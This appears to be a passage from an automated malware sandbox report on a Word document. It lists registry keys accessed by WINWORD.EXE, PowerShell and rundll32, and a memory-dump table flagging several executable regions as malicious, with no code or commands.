 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F64AC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F64AC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
 clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
2C0000
unkown image
page execute and read and write
 malicious
780000
unkown image
page execute and read and write
 malicious
260000
unkown
page execute and read and write
 malicious
240000
unkown
page execute and read and write
 malicious
3F0000
unkown
page execute and read and write
 malicious
1B0000
unkown
page execute and read and write
 malicious
220000
unkown
page execute and read and write
 malicious
7D0000
unkown image
page execute and read and write
 malicious
710000
unkown image
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
2A0000
unkown
page execute and read and write
 malicious
200000
unkown
page execute and read and write
 malicious
3C0000
unkown
page execute and read and write
 malicious
210000
unkown
page execute and read and write
 malicious
2B0000
unkown
page execute and read and write
 malicious
760000
unkown image
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
230000
unkown
page execute and read and write
 malicious
400000
unkown image
page execute and read and write
 malicious
170000
unkown image
page execute and read and write
 malicious
270000
unkown
page execute and read and write
 malicious
220000
unkown
page execute and read and write
 malicious
260000
unkown
page execute and read and write
 malicious
400000
unkown image
page execute and read and write
 malicious
340000
unkown image
page execute and read and write
 malicious
170000
unkown image
page execute and read and write
 malicious
1F0000
unkown
page execute and read and write
 malicious
430000
unkown
page execute and read and write
 malicious
1B0000
unkown
page execute and read and write
 malicious
160000
unkown
page execute and read and write
 malicious
7F3000
unkown image
page execute and read and write
 clean
140000
unkown
page read and write
 clean
160000
heap private
page read and write
 clean
400000
unkown image
page readonly
 clean
76C000
heap default
page read and write
 clean
2A00000
unkown
page readonly
 clean
1B460000
unkown
page read and write
 clean
3F0000
heap private
page read and write
 clean
6A4000
heap default
page read and write
 clean
2E5A000
unkown
page read and write
 clean
8DD000
stack
page read and write
 clean
7F1000
unkown image
page execute and read and write
 clean
160000
unkown
page readonly
 clean
697000
heap default
page read and write
 clean
160000
unkown
page readonly
 clean
440000
heap private
page read and write
 clean
32A000
unkown image
page readonly
 clean
340000
unkown image
page readonly
 clean
3B0000
heap private
page read and write
 clean
800000
unkown
page read and write
 clean
3A46000
unkown
page read and write
 clean
2A6000
unkown
page read and write
 clean
346E000
unkown
page read and write
 clean
7F0000
unkown
page readonly
 clean
2E34000
unkown
page read and write
 clean
270000
unkown
page read and write
 clean
420000
heap private
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
26B0000
unkown
page readonly
 clean
7A3000
unkown image
page execute and read and write
 clean
220000
heap private
page read and write
 clean
1B460000
unkown
page read and write
 clean
464000
unkown image
page read and write
 clean
27D0000
unkown
page readonly
 clean
A80000
heap private
page read and write
 clean
1DA000
unkown image
page readonly
 clean
724000
heap default
page read and write
 clean
1B3AE000
unkown
page read and write
 clean
2E2E000
unkown
page read and write
 clean
1C8D0000
heap private
page read and write
 clean
324000
unkown image
page read and write
 clean
A80000
heap private
page read and write
 clean
733000
unkown image
page execute and read and write
 clean
900000
unkown
page read and write
 clean
790000
heap private
page read and write
 clean
D0000
unkown
page readonly
 clean
8D0000
heap private
page read and write
 clean
2400000
unkown
page readonly
 clean
2A8C000
unkown
page read and write
 clean
191000
unkown image
page execute and read and write
 clean
1C0000
heap private
page read and write
 clean
343F000
unkown
page read and write
 clean
838000
unkown image
page write copy
 clean
400000
unkown image
page readonly
 clean
960000
heap private
page read and write
 clean
1E10000
heap private
page read and write
 clean
2660000
unkown
page read and write
 clean
2600000
unkown
page read and write
 clean
46E000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
375000
heap default
page read and write
 clean
393A000
unkown
page read and write
 clean
2DCC000
unkown
page read and write
 clean
7FF00040000
unkown
page read and write
 clean
24F2000
heap private
page read and write
 clean
170000
unkown image
page readonly
 clean
46A000
unkown image
page readonly
 clean
281F000
unkown
page read and write
 clean
467000
heap default
page read and write
 clean
7A4000
unkown image
page execute read
 clean
530000
unkown
page readonly
 clean
170000
unkown
page execute and read and write
 clean
170000
unkown
page execute and read and write
 clean
2F8E000
unkown
page read and write
 clean
7FF00207000
unkown
page read and write
 clean
2D94000
unkown
page read and write
 clean
4E4000
heap default
page read and write
 clean
2B2D000
unkown
page read and write
 clean
2320000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
2EC4000
unkown
page read and write
 clean
26E0000
unkown
page readonly
 clean
5D0000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
710000
unkown image
page readonly
 clean
B1E000
unkown
page read and write
 clean
24D0000
heap private
page read and write
 clean
3040000
heap private
page read and write
 clean
34DA000
unkown
page read and write
 clean
3AA000
unkown image
page readonly
 clean
60000
unkown
page readonly
 clean
340000
heap private
page read and write
 clean
345E000
unkown
page read and write
 clean
1E0000
unkown
page read and write
 clean
37D000
heap default
page read and write
 clean
5B0000
unkown
page readonly
 clean
3471000
unkown
page read and write
 clean
1C0000
heap default
page read and write
 clean
7FF00230000
unkown
page read and write
 clean
2A10000
heap private
page read and write
 clean
370000
heap default
page read and write
 clean
2E1000
unkown image
page execute and read and write
 clean
83A000
unkown image
page readonly
 clean
468000
unkown image
page write copy
 clean
2F70000
heap private
page read and write
 clean
34EF000
unkown
page read and write
 clean
300000
unkown
page readonly
 clean
2A07000
unkown
page readonly
 clean
90000
unkown
page read and write
 clean
3A0000
unkown
page readonly
 clean
368000
heap default
page read and write
 clean
6B0000
unkown
page readonly
 clean
2D0000
unkown
page read and write
 clean
2E8A000
unkown
page read and write
 clean
2444000
heap private
page read and write
 clean
6B0000
unkown
page readonly
 clean
423000
unkown image
page execute and read and write
 clean
465000
unkown image
page write copy
 clean
2127000
unkown
page readonly
 clean
850000
unkown
page read and write
 clean
3455000
